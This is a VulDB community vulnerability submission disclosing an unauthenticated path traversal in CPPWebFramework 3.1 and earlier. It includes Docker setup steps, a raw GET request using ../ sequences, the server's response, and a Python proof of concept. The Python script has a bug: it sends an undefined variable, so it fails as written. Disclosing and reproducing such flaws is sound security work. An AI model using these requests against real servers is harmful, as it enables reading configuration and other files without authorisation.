



Home > Submit > 785952

Submit #785952: HerikLyma CPPWebFramework <= 3.1 (HTTP Server Header) Relative Path Traversal

Title HerikLyma CPPWebFramework <= 3.1 (HTTP Server Header) Relative Path Traversal

Description CPPWebFramework contains an unauthenticated Directory Traversal vulnerability. The framework concatenates user-supplied URLs directly with the web root path without sanitizing ../ sequences.

While the application utilizes a file-extension whitelist, attackers can bypass directory restrictions to read arbitrary files on the host system that share a whitelisted extension (e.g., .ini, .txt, .xml, .json, .zip, .php, .html, .rar, .doc, .pdf, .mp3, .mp4). This allows remote attackers to leak highly sensitive framework configuration files (such as CPPWeb.ini).

The vulnerability can be verified using the official Docker container provided by the developers.

...

```
sudo docker run -d -p 80:80 imacellone/cwf-helloworld:1.0
```

```
docker exec -it <container_id> bash
```

```
root@<container_id>:/# echo "Unauthenticated Arbitrary File Read via Path Traversal" > /home/Test.txt
```

...

Proof of Concept (HTTP Request):

...

```
GET /../../../../home/Test.txt HTTP/1.1
```

```
Host: 127.0.0.1
```

```
Connection: close
```

...

Proof of Concept (Response):

...

```
HTTP/1.1 200 OK
```

```
Content-Length: 55
```

```
Content-Type: text/plain; charset=UTF-8
```

```
Server: C++-Web-Server
```

Community Content

Submissions are made by [VulDB community users](#). VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- [Submission Policy](#)
- [Data Processing](#)
- [CVE Handling](#)

Unauthenticated Arbitrary File Read via Path Traversal

...

Python PoC:

...

```
import requests
```

```
target = "http://127.0.0.1:80"
```

```
payload = "../../../home/Test.txt"
```

```
# Bypass requests automatic URL normalization
```

```
session = requests.Session()
```

```
req = requests.Request('GET', target + payload)
```

```
prep = req.prepare()
```

```
prep.url = target + payload
```

```
response = session.send(prepare)
```

```
print(response.text)
```

...

...

python3 PoC.py

Unauthenticated Arbitrary File Read via Path Traversal

...

Source  <https://github.com/HerikLyma/ CPPWebFramework/issues/40>

User  MatanS (UID 86894)

Submission 03/23/2026 06:59 AM (14 days ago)

Moderation 04/05/2026 10:21 PM (14 days later)

Status Accepted

VulDB entry 305426 [HerikLyma CPPWebFramework up to 3.1 path traversal]

Points 20